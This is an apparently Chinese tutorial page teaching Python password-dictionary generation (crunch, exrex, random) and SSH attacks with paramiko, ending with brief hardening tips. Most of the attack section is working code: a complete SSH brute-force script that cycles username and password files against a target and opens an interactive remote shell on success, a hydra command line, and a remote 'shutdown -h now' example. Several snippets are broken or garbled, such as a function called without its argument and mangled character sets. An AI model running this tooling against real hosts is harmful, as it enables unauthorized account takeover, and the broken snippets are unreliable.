程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

DAY11:python 腳本篇

編輯:Python

DAY11:python 腳本篇

1、字典生成器

工具----crunch

用法:

crunch <min-len> <max-len> [<charset string>] [options]
min-len crunch要開始的最小長度字符串 必需
max-len crunch要開始的最大長度字符串 必需
charset string 在命令行使用crunch你可能必須指定字符集設置,否則將使用缺省的字符集設置。必須指定字符類型或加號的值
crunch -h #昂住
-c #指定寫入輸出文件的行數,也即包含密碼的個數
-d #限制出現相同元素的個數 數字是連續字母出現的次數,符號是限制字符串的字符(“@”代表小寫字母,“,”代表大寫字符, “%”代表數字,“^”代表特殊字符)限制每個密碼至少出現幾種字符
-e #字符串,定義停止生成密碼
-f /path/to/charset.lst charset-name # 從charset.lst指定字符集
-i #改變輸出格式
-o name.txt #指定輸出文件的名稱
-p #字符串或者-p ...以排列組合的方式來生成字典
-q name.txt #讀取name.txt

2、利用 python 編寫一個字典生成器

2.1、exrex 庫

re.DEBUG模式下進行的歸類和分析,從而匹配內容
生成所有匹配的字符串
生成隨機匹配字符串
計算匹配字符串的數量
簡化正則表達式
exrex.getone()
exrex.generate()

2.1.1、exrex.getone()

print(exrex.getone('\d{3}-\d{4}-[0-9]{4}')) #數字
print(exrex.getone('(ex)r\\1')) #填正則表達式會生成相應內容
print(exrex.getone('(1[0-2]0[1-9])(:[0-5]\d){2} (A|P)M')) #時間

輸出為:

123-9462-3188
exrex
21:19:39 PM
示例1:exrex.getone() 生成手機號
import exrex
for i in range(30):
num = '1[0-9]{10}'
phone_number = exrex.getone(num) # exrex.getone()方法 exrex.generate()方法
print(phone_number)

2.1.2、exrex.generate()

num=list(exrex.generate('((hai){2}|hacker!)')) ##匹配兩個hai或hacker
print(num)
num=list(exrex.generate('[Pp][[email protected]]ssw[Oo]rd')) #知道密碼的一些組合,進行局部爆破(最重要)
print num #exrex.generate(’[Pp][[email protected]]ssw[Oo]rd’) 組合密碼

輸出為:

['haihai', 'world!']
示例1:exrex.generate() 生成密碼
import exrex
web_dict = '123'
dic_pass = '456'
dics = list(exrex.generate(web_dict+dic_pass+'[@#!%^&*]'))
for i in dics:
print(i)
示例二:
def make_pass(pwds):
f=open('password','w')
f.close()
for pwd in pwds:
num='135[0-9]{8}'
for number in num:
final_pwds=list(exrex.generate(number.format(pwd=pwd)))
for final_pwd in final_pwds:
print(final_pwd)
f=open('passwd.txt','a+')
f.write(final_pwd + '\n')
f.close()
if __name__=='__main__':
make_pass()

2.2、random 庫

示例:利用 random 庫生成字典

import random
class Password():
strs = 'a[email protected]#$%^&*'
def __init__(self,minlen,maxlen):
if maxlen>minlen:
self.__minlen=minlen
self.__maxlen=maxlen
else:
self.__maxlen=minlen
self.__minlen=maxlen
def __iter__(self): #迭代器函數初始化
return self
def __next__(self):
ret =''
for i in range(0, random.randrange(self.__minlen, self.__maxlen+1)):
ret += random.choice(Password.strs)
return ret
if __name__=='__main__':
for str in Password(1, 10): #1-10位隨機密碼
print(str)

2.3、sys 庫

sys.palatform #處理器信息
sys.getfilesystemcoding() #編碼信息輸入
sys.getfilesystemencoding() #編碼信息輸出
sys.getdefaultencoding() #標准輸入輸出

2.4、hashlib 庫

2.5、kali-------john the ripper

3、暴力破解 ssh

3.1、paramiko 庫

3.1.1、SSHClient 類

connect方法
hostname #ip
port 22 #22端口
password #密碼
pkey #用於身份驗證
timeout #超時

3.1.2、exec_command() 方法

command() #執行的命令
bufsize() #文件緩沖區大小

3.1.3、load_system_host_keys() 方法

filename #遠程主機公鑰記錄文件

3.1.4、set_missing_host_key_poilcy() 方法

示例1:上傳(下載)文件
import paramiko
def sftp_upload_file(server_path, local_path):
try:
ftp= paramiko.Transport(("172.16.0.xxx", 22)) #輸入ip地址
ftp.connect(username="xxx", password="xxx") #輸入用戶名和密碼
sftp = paramiko.SFTPClient.from_transport(ftp)
sftp.put(local_path, server_path)
ftp.close()
except Exception as e:
print(e)
if __name__ == '__main__':
sftp_upload_file("/root/1.txt", "C:/Users/1.txt") #將本地文件及路徑,上傳到終端目錄下命名為1.txt
sftp_down_file("") #下載文件 
示例2:執行命令
# -*- coding:utf-8 -*-
import paramiko
def sftp_exec_command(command):
try:
# 創建SSH對象
ssh_client = paramiko.SSHClient()
# 允許連接不在known_hosts文件上的主機
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 連接服務器 輸入ip地址、用戶名和密碼
ssh_client.connect(hostname="172.16.0.1xx",port="22",username="xx",password="xx")
# 執行命令
std_in, std_out, std_err = ssh_client.exec_command(command)
# 獲取結果將結果輸出
for i in std_out:
print (i.strip("\n"))
ssh_client.close()
except Exception as e:
print(e)
#命令
if __name__ == '__main__':
sftp_exec_command("shutdown -h now")

示例3:ssh爆破

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import paramiko
import argparse
import sys
def sshbrute(user,passwd,host):
# 設置 flag 為 0 ,在成功登錄的時候再置為 1 
flag = 0
try:
# 使用 paramiko.SSHClient 創建 ssh 對象
ssh = paramiko.SSHClient()
# 允許將信任的主機自動加入到host_allow 列表,此方法必須放在connect方法的前面,接受對方的公鑰證書
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 登錄 ssh,連接失敗則拋出 異常 跳轉到 except ,成功則繼續執行
ssh.connect(hostname=host,port=22,username=user,password=passwd,timeout=3)
# 打印出成功登錄的 用戶名 和 密碼
print("login success! User:"+user,"Pass:"+passwd)
# 把 flag 置為 1
flag = 1
except:
# 打印出 登錄失敗 的 用戶名 和 密碼
print("login failed!","user:"+user,"pass:"+passwd)
# 如果 flag 為 1,則進入 terminal
if flag == 1:
while True:
# 獲取 輸入的命令
input_command = input(">>")
# 如果 輸入 quit 就關閉 ssh 連接,並退出程序
if input_command == 'quit':
print("quit!")
ssh.close()
exit(0)
# 執行 輸入的命令
stdin,stdout,stderr = ssh.exec_command(input_command)
# 獲取 返回的結果 並打印
result = stdout.read()
print(str(result,'utf-8'))
if __name__ == "__main__":
# 自定義接受參數
parse = argparse.ArgumentParser("python3 "+sys.argv[0])
parse.add_argument("-u <USER>","--user",help="login with user name")
parse.add_argument("-U <USERFILE>","--userfile",help="load user from USERfile")
parse.add_argument("-p <PASS>","--passwdd",help="try passwdd with PASS")
parse.add_argument("-P <PASSFILE>","--passfile",help="load PASS from PASSFILE")
parse.add_argument("-t","--target",help="client ip ")
# 把接受到的參數保存在變量中
args = parse.parse_args()
user = args.user
passwd = args.passwdd
target = args.target
ufile = args.userfile
pfile = args.passfile
# 判斷 target 是否存在
if not target:
print("target not set!")
exit(0)
# 如果 輸入了 -U 和 -P 參數則循環讀出 ufile 中的 用戶名 和 pfile 中的密碼
if ufile and pfile:
tmp_ufile = open(ufile,'r')
tmp_pfile = open(pfile,'r')
# 循環輸入用戶名
for a in tmp_ufile.readlines():
tmp_pfile = open(pfile,'r')
# 循環輸入密碼
for b in tmp_pfile.readlines():
sshbrute(a.replace('\n',''),b.replace('\n',''),target)
# 密碼讀取完後需要關閉 在下一次讀取的時候重新打開
tmp_pfile.close()
tmp_ufile.close()
# 如果 輸入了 -P 和 -u 則循環讀出 pfile 中的 密碼,用 <user> 和 pfile中的密碼登錄 
elif pfile and user:
tmp_pfile = open(pfile,'r')
res_pfile = tmp_pfile.readlines()
tmp_pfile.close()
for i in res_pfile:
sshbrute(user,i.replace('\n',''),target)
# 如果 輸入了 -U 和 -p 就循環讀出 ufile 中的用戶名,用 <passwd> 和 ufile中的用戶名登錄
elif ufile and passwd:
tmp_ufile = open(ufile,'r')
res_ufile = tmp_ufile.readlines()
tmp_ufile.close()
for i in res_ufile:
sshbrute(i.replace('\n',''),passwd,target)
# 如果直接給出了 用戶名和密碼 則直接使用給出的用戶名和密碼登錄
elif user and passwd:
sshbrute(user,passwd,target)

3.2、kali----hydra(九頭蛇)

hydra -h
-p #指令密碼
-l #指定用戶名
-L #指定用戶名字典
-P #指定密碼字典
-o #將結果輸出到文件中
-v #顯示詳細過程
-t #線程數
-f #檢測到用戶名或密碼正確就退出
hydra -L users.txt -P passwd.txt -t 20 192.168.10.10 ssh -o 1.txt -f

3.3、pexpect 庫

4、防御 SSH 爆破

1、修改防火牆入站規則
iptables -A INPUT -m state --state NEW -m tcp -p --dport -j ACCEPT
2、修改默認端口
vim /etc/ssh/sshd_config
22改為任意大端口號
service sshd restart
3、配置用戶登錄
vim /etc/ssh/sshd_config
AllowUsers root

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved